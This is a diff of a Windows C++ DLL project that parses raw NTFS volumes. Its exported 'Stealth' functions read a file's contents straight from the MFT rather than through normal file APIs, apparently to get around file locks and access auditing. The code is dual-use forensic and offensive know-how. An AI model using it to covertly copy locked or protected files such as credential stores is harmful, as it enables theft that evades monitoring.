AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////

View File

@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// NTFSParser.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file

View File

@ -0,0 +1,17 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
#include <iostream>
#include <string>
#include <fstream>
// TODO: reference additional headers your program requires here

View File

@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>

View File

@ -0,0 +1,28 @@
/*
* NTFS include files
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_H_CYB70289
#define __NTFS_H_CYB70289
#pragma pack(8)
#include "NTFS_Common.h"
#include "NTFS_FileRecord.h"
#include "NTFS_Attribute.h"
#pragma pack()
#endif

View File

@ -0,0 +1,161 @@
/*
*
* Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
//
// This code uses libraries released under GPLv2(or later) written by cyb70289 <cyb70289@gmail.com>
#include "stdafx.h"
#include "NTFS.h"
#include "NTFS_DataType.h"
using namespace std;
struct FileInfo_t
{
CNTFSVolume* volume;
CFileRecord* fileRecord;
CIndexEntry* indexEntry;
CAttrBase* data;
};
extern "C" HANDLE __declspec(dllexport) StealthOpenFile(char* filePathCStr)
{
FileInfo_t* fileInfo = new FileInfo_t;
string filePath = string(filePathCStr);
_TCHAR volumeName = filePath.at(0);
fileInfo->volume = new CNTFSVolume(volumeName);
if (!fileInfo->volume->IsVolumeOK())
{
return NULL;
}
//Parse root directory
fileInfo->fileRecord = new CFileRecord(fileInfo->volume);
fileInfo->fileRecord->SetAttrMask(MASK_INDEX_ROOT | MASK_INDEX_ALLOCATION);
if (!fileInfo->fileRecord->ParseFileRecord(MFT_IDX_ROOT))
{
return NULL;
}
if (!fileInfo->fileRecord->ParseAttrs())
{
return NULL;
}
//Find subdirectory
fileInfo->indexEntry = new CIndexEntry;
int dirs = filePath.find(_T('\\'), 0);
int dire = filePath.find(_T('\\'), dirs+1);
while (dire != string::npos)
{
string pathname = filePath.substr(dirs+1, dire-dirs-1);
const _TCHAR* pathnameCStr = (const _TCHAR*)pathname.c_str();
if (fileInfo->fileRecord->FindSubEntry(pathnameCStr, *(fileInfo->indexEntry)))
{
if (!fileInfo->fileRecord->ParseFileRecord(fileInfo->indexEntry->GetFileReference()))
{
return NULL;
}
if (!fileInfo->fileRecord->ParseAttrs())
{
if (fileInfo->fileRecord->IsCompressed())
{
return NULL;
}
else if (fileInfo->fileRecord->IsEncrypted())
{
return NULL;
}
else
{
return NULL;
}
}
}
else
{
return NULL;
}
dirs = dire;
dire = filePath.find(_T('\\'), dirs+1);
}
string fileName = filePath.substr(dirs+1, filePath.size()-1);
const _TCHAR* fileNameCStr = (const _TCHAR*)fileName.c_str();
if (fileInfo->fileRecord->FindSubEntry(fileNameCStr, *(fileInfo->indexEntry)))
{
if (!fileInfo->fileRecord->ParseFileRecord(fileInfo->indexEntry->GetFileReference()))
{
return NULL;
}
fileInfo->fileRecord->SetAttrMask(MASK_DATA);
if (!fileInfo->fileRecord->ParseAttrs())
{
return NULL;
}
fileInfo->data = (CAttrBase*)fileInfo->fileRecord->FindStream();
return fileInfo;
}
return NULL;
}
extern "C" DWORD __declspec(dllexport) StealthReadFile(FileInfo_t* fileInfo, BYTE* buffer, DWORD bufferSize, ULONGLONG offset, DWORD* bytesRead, ULONGLONG* dataRemaining)
{
if (fileInfo->data)
{
ULONGLONG dataLength = (ULONGLONG)fileInfo->data->GetDataSize();
ULONGLONG fullDataLength = dataLength;
dataLength = dataLength - offset;
if (dataLength > bufferSize)
{
dataLength = bufferSize;
}
if (dataLength > MAXUINT32)
{
return 1;
}
DWORD len;
if (fileInfo->data->ReadData(offset, buffer, dataLength, &len) && len == dataLength)
{
*bytesRead = len;
*dataRemaining = fullDataLength - len - offset;
return 0; //Success
}
return 3;
}
return 2;
}
extern "C" void __declspec(dllexport) StealthCloseFile(FileInfo_t* fileInfo)
{
delete (fileInfo->data);
delete (fileInfo->indexEntry);
delete (fileInfo->volume);
delete fileInfo;
}

View File

@ -0,0 +1,172 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{5E42B778-F231-4797-B7FD-7D5BCA9738D0}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>NTFSParserDLL</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110_xp</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110_xp</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
</PrecompiledHeader>
</ClCompile>
<ClCompile Include="NTFSParserDLL.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,39 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="NTFSParserDLL.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,317 @@
/*
* NTFS Class common definitions
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_COMMON_H_CYB70289
#define __NTFS_COMMON_H_CYB70289
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <crtdbg.h>
#include "NTFS_DataType.h"
#define ATTR_NUMS 16 // Attribute Types count
#define ATTR_INDEX(at) (((at)>>4)-1) // Attribute Type to Index, eg. 0x10->0, 0x30->2
#define ATTR_MASK(at) (((DWORD)1)<<ATTR_INDEX(at)) // Attribute Bit Mask
// Bit masks of Attributes
#define MASK_STANDARD_INFORMATION ATTR_MASK(ATTR_TYPE_STANDARD_INFORMATION)
#define MASK_ATTRIBUTE_LIST ATTR_MASK(ATTR_TYPE_ATTRIBUTE_LIST)
#define MASK_FILE_NAME ATTR_MASK(ATTR_TYPE_FILE_NAME)
#define MASK_OBJECT_ID ATTR_MASK(ATTR_TYPE_OBJECT_ID)
#define MASK_SECURITY_DESCRIPTOR ATTR_MASK(ATTR_TYPE_SECURITY_DESCRIPTOR)
#define MASK_VOLUME_NAME ATTR_MASK(ATTR_TYPE_VOLUME_NAME)
#define MASK_VOLUME_INFORMATION ATTR_MASK(ATTR_TYPE_VOLUME_INFORMATION)
#define MASK_DATA ATTR_MASK(ATTR_TYPE_DATA)
#define MASK_INDEX_ROOT ATTR_MASK(ATTR_TYPE_INDEX_ROOT)
#define MASK_INDEX_ALLOCATION ATTR_MASK(ATTR_TYPE_INDEX_ALLOCATION)
#define MASK_BITMAP ATTR_MASK(ATTR_TYPE_BITMAP)
#define MASK_REPARSE_POINT ATTR_MASK(ATTR_TYPE_REPARSE_POINT)
#define MASK_EA_INFORMATION ATTR_MASK(ATTR_TYPE_EA_INFORMATION)
#define MASK_EA ATTR_MASK(ATTR_TYPE_EA)
#define MASK_LOGGED_UTILITY_STREAM ATTR_MASK(ATTR_TYPE_LOGGED_UTILITY_STREAM)
#define MASK_ALL ((DWORD)-1)
#define NTFS_TRACE(t1) _RPT0(_CRT_WARN, t1)
#define NTFS_TRACE1(t1, t2) _RPT1(_CRT_WARN, t1, t2)
#define NTFS_TRACE2(t1, t2, t3) _RPT2(_CRT_WARN, t1, t2, t3)
#define NTFS_TRACE3(t1, t2, t3, t4) _RPT3(_CRT_WARN, t1, t2, t3, t4)
#define NTFS_TRACE4(t1, t2, t3, t4, t5) _RPT4(_CRT_WARN, t1, t2, t3, t4, t5)
// User defined Callback routines to process raw attribute data
// Set bDiscard to TRUE if this Attribute is to be discarded
// Set bDiscard to FALSE to let CFileRecord process it
typedef void (*ATTR_RAW_CALLBACK)(const ATTR_HEADER_COMMON *attrHead, BOOL *bDiscard);
// User defined Callback routine to handle CFileRecord parsed attributes
// Will be called by CFileRecord::TraverseAttrs() for each attribute
// attrClass is the according attribute's wrapping class, CAttr_xxx
// Set bStop to TRUE if don't want to continue
// Set bStop to FALSE to continue processing
class CAttrBase;
typedef void (*ATTRS_CALLBACK)(const CAttrBase *attr, void *context, BOOL *bStop);
// User defined Callback routine to handle Directory traversing
// Will be called by CFileRecord::TraverseSubEntries for each sub entry
class CIndexEntry;
typedef void (*SUBENTRY_CALLBACK)(const CIndexEntry *ie);
// List Entry
template <class ENTRY_TYPE>
struct NTSLIST_ENTRY
{
NTSLIST_ENTRY *Next;
ENTRY_TYPE *Entry;
};
// List Entry Smart Pointer
template <class ENTRY_TYPE>
class CEntrySmartPtr
{
public:
CEntrySmartPtr(ENTRY_TYPE *ptr = NULL)
{
EntryPtr = ptr;
}
virtual ~CEntrySmartPtr()
{
if (EntryPtr)
delete EntryPtr;
}
private:
const ENTRY_TYPE *EntryPtr;
public:
__inline CEntrySmartPtr<ENTRY_TYPE> operator = (const ENTRY_TYPE* ptr)
{
// Delete previous pointer if allocated
if (EntryPtr)
delete EntryPtr;
EntryPtr = ptr;
return *this;
}
__inline const ENTRY_TYPE* operator->() const
{
_ASSERT(EntryPtr);
return EntryPtr;
}
__inline BOOL IsValid() const
{
return EntryPtr != NULL;
}
};
//////////////////////////////////////
// Single list implementation
//////////////////////////////////////
template <class ENTRY_TYPE>
class CSList
{
public:
CSList()
{
ListHead = ListTail = NULL;
ListCurrent = NULL;
EntryCount = 0;
}
virtual ~CSList()
{
RemoveAll();
}
private:
int EntryCount;
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
NTSLIST_ENTRY<ENTRY_TYPE> *ListCurrent;
public:
// Get entry count
__inline int GetCount() const
{
return EntryCount;
}
// Insert to tail
BOOL InsertEntry(ENTRY_TYPE *entry)
{
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
if (!le)
return FALSE;
le->Entry = entry;
le->Next = NULL;
if (ListTail == NULL)
ListHead = le; // Empty list
else
ListTail->Next = le;
ListTail = le;
EntryCount++;
return TRUE;
}
// Remove all entries
void RemoveAll()
{
while (ListHead)
{
ListCurrent = ListHead->Next;
delete ListHead->Entry;
delete ListHead;
ListHead = ListCurrent;
}
ListHead = ListTail = NULL;
ListCurrent = NULL;
EntryCount = 0;
}
// Find first entry
__inline ENTRY_TYPE *FindFirstEntry() const
{
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListHead;
if (ListCurrent)
return ListCurrent->Entry;
else
return NULL;
}
// Find next entry
__inline ENTRY_TYPE *FindNextEntry() const
{
if (ListCurrent)
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListCurrent->Next;
if (ListCurrent)
return ListCurrent->Entry;
else
return NULL;
}
// Throw all entries
// Caution! All entries are just thrown without free
__inline void ThrowAll()
{
ListHead = ListTail = NULL;
ListCurrent = NULL;
EntryCount = 0;
}
}; //CSList
//////////////////////////////////////
// Stack implementation
//////////////////////////////////////
template <class ENTRY_TYPE>
class CStack
{
public:
CStack()
{
ListHead = ListTail = NULL;
EntryCount = 0;
}
virtual ~CStack()
{
RemoveAll();
}
private:
int EntryCount;
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
public:
// Get entry count
__inline int GetCount() const
{
return EntryCount;
}
// Insert to head
BOOL Push(ENTRY_TYPE *entry)
{
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
if (!le)
return FALSE;
le->Entry = entry;
le->Next = ListHead;
ListHead = le;
if (ListTail == NULL)
ListTail = le; // Empty list
EntryCount ++;
return TRUE;
}
// Remove from head
ENTRY_TYPE* Pop()
{
if (ListHead == NULL)
return NULL;
NTSLIST_ENTRY<ENTRY_TYPE> *le = ListHead;
ENTRY_TYPE *e = le->Entry;
if (ListTail == ListHead)
ListTail = ListHead->Next;
ListHead = ListHead->Next;
delete le;
EntryCount --;
return e;
}
// Remove all entries
void RemoveAll()
{
NTSLIST_ENTRY<ENTRY_TYPE> *le;
while (ListHead)
{
le = ListHead->Next;
delete ListHead->Entry;
delete ListHead;
ListHead = le;
}
ListHead = ListTail = NULL;
EntryCount = 0;
}
}; //CStack
#endif

View File

@ -0,0 +1,380 @@
/*
* NTFS data structures and definitions
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_DATATYPE_H_CYB70289
#define __NTFS_DATATYPE_H_CYB70289
// NTFS Boot Sector BPB
#define NTFS_SIGNATURE "NTFS "
#pragma pack(1)
typedef struct tagNTFS_BPB
{
// jump instruction
BYTE Jmp[3];
// signature
BYTE Signature[8];
// BPB and extended BPB
WORD BytesPerSector;
BYTE SectorsPerCluster;
WORD ReservedSectors;
BYTE Zeros1[3];
WORD NotUsed1;
BYTE MediaDescriptor;
WORD Zeros2;
WORD SectorsPerTrack;
WORD NumberOfHeads;
DWORD HiddenSectors;
DWORD NotUsed2;
DWORD NotUsed3;
ULONGLONG TotalSectors;
ULONGLONG LCN_MFT;
ULONGLONG LCN_MFTMirr;
DWORD ClustersPerFileRecord;
DWORD ClustersPerIndexBlock;
BYTE VolumeSN[8];
// boot code
BYTE Code[430];
//0xAA55
BYTE _AA;
BYTE _55;
} NTFS_BPB;
#pragma pack()
// MFT Indexes
#define MFT_IDX_MFT 0
#define MFT_IDX_MFT_MIRR 1
#define MFT_IDX_LOG_FILE 2
#define MFT_IDX_VOLUME 3
#define MFT_IDX_ATTR_DEF 4
#define MFT_IDX_ROOT 5
#define MFT_IDX_BITMAP 6
#define MFT_IDX_BOOT 7
#define MFT_IDX_BAD_CLUSTER 8
#define MFT_IDX_SECURE 9
#define MFT_IDX_UPCASE 10
#define MFT_IDX_EXTEND 11
#define MFT_IDX_RESERVED12 12
#define MFT_IDX_RESERVED13 13
#define MFT_IDX_RESERVED14 14
#define MFT_IDX_RESERVED15 15
#define MFT_IDX_USER 16
/******************************
File Record
---------------------
| File Record Header|
---------------------
| Attribute 1 |
---------------------
| Attribute 2 |
---------------------
| ...... |
---------------------
| 0xFFFFFFFF |
---------------------
*******************************/
// File Record Header
#define FILE_RECORD_MAGIC 'ELIF'
#define FILE_RECORD_FLAG_INUSE 0x01 // File record is in use
#define FILE_RECORD_FLAG_DIR 0x02 // File record is a directory
typedef struct tagFILE_RECORD_HEADER
{
DWORD Magic; // "FILE"
WORD OffsetOfUS; // Offset of Update Sequence
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
ULONGLONG LSN; // $LogFile Sequence Number
WORD SeqNo; // Sequence number
WORD Hardlinks; // Hard link count
WORD OffsetOfAttr; // Offset of the first Attribute
WORD Flags; // Flags
DWORD RealSize; // Real size of the FILE record
DWORD AllocSize; // Allocated size of the FILE record
ULONGLONG RefToBase; // File reference to the base FILE record
WORD NextAttrId; // Next Attribute Id
WORD Align; // Align to 4 byte boundary
DWORD RecordNo; // Number of this MFT Record
} FILE_RECORD_HEADER;
/******************************
Attribute
--------------------
| Attribute Header |
--------------------
| Attribute Data |
--------------------
*******************************/
// Attribute Header
#define ATTR_TYPE_STANDARD_INFORMATION 0x10
#define ATTR_TYPE_ATTRIBUTE_LIST 0x20
#define ATTR_TYPE_FILE_NAME 0x30
#define ATTR_TYPE_OBJECT_ID 0x40
#define ATTR_TYPE_SECURITY_DESCRIPTOR 0x50
#define ATTR_TYPE_VOLUME_NAME 0x60
#define ATTR_TYPE_VOLUME_INFORMATION 0x70
#define ATTR_TYPE_DATA 0x80
#define ATTR_TYPE_INDEX_ROOT 0x90
#define ATTR_TYPE_INDEX_ALLOCATION 0xA0
#define ATTR_TYPE_BITMAP 0xB0
#define ATTR_TYPE_REPARSE_POINT 0xC0
#define ATTR_TYPE_EA_INFORMATION 0xD0
#define ATTR_TYPE_EA 0xE0
#define ATTR_TYPE_LOGGED_UTILITY_STREAM 0x100
#define ATTR_FLAG_COMPRESSED 0x0001
#define ATTR_FLAG_ENCRYPTED 0x4000
#define ATTR_FLAG_SPARSE 0x8000
typedef struct tagATTR_HEADER_COMMON
{
DWORD Type; // Attribute Type
DWORD TotalSize; // Length (including this header)
BYTE NonResident; // 0 - resident, 1 - non resident
BYTE NameLength; // name length in words
WORD NameOffset; // offset to the name
WORD Flags; // Flags
WORD Id; // Attribute Id
} ATTR_HEADER_COMMON;
typedef struct tagATTR_HEADER_RESIDENT
{
ATTR_HEADER_COMMON Header; // Common data structure
DWORD AttrSize; // Length of the attribute body
WORD AttrOffset; // Offset to the Attribute
BYTE IndexedFlag; // Indexed flag
BYTE Padding; // Padding
} ATTR_HEADER_RESIDENT;
typedef struct tagATTR_HEADER_NON_RESIDENT
{
ATTR_HEADER_COMMON Header; // Common data structure
ULONGLONG StartVCN; // Starting VCN
ULONGLONG LastVCN; // Last VCN
WORD DataRunOffset; // Offset to the Data Runs
WORD CompUnitSize; // Compression unit size
DWORD Padding; // Padding
ULONGLONG AllocSize; // Allocated size of the attribute
ULONGLONG RealSize; // Real size of the attribute
ULONGLONG IniSize; // Initialized data size of the stream
} ATTR_HEADER_NON_RESIDENT;
// Attribute: STANDARD_INFORMATION
#define ATTR_STDINFO_PERMISSION_READONLY 0x00000001
#define ATTR_STDINFO_PERMISSION_HIDDEN 0x00000002
#define ATTR_STDINFO_PERMISSION_SYSTEM 0x00000004
#define ATTR_STDINFO_PERMISSION_ARCHIVE 0x00000020
#define ATTR_STDINFO_PERMISSION_DEVICE 0x00000040
#define ATTR_STDINFO_PERMISSION_NORMAL 0x00000080
#define ATTR_STDINFO_PERMISSION_TEMP 0x00000100
#define ATTR_STDINFO_PERMISSION_SPARSE 0x00000200
#define ATTR_STDINFO_PERMISSION_REPARSE 0x00000400
#define ATTR_STDINFO_PERMISSION_COMPRESSED 0x00000800
#define ATTR_STDINFO_PERMISSION_OFFLINE 0x00001000
#define ATTR_STDINFO_PERMISSION_NCI 0x00002000
#define ATTR_STDINFO_PERMISSION_ENCRYPTED 0x00004000
typedef struct tagATTR_STANDARD_INFORMATION
{
ULONGLONG CreateTime; // File creation time
ULONGLONG AlterTime; // File altered time
ULONGLONG MFTTime; // MFT changed time
ULONGLONG ReadTime; // File read time
DWORD Permission; // Dos file permission
DWORD MaxVersionNo; // Maxim number of file versions
DWORD VersionNo; // File version number
DWORD ClassId; // Class Id
DWORD OwnerId; // Owner Id
DWORD SecurityId; // Security Id
ULONGLONG QuotaCharged; // Quota charged
ULONGLONG USN; // USN Journel
} ATTR_STANDARD_INFORMATION;
// Attribute: ATTRIBUTE_LIST
typedef struct tagATTR_ATTRIBUTE_LIST
{
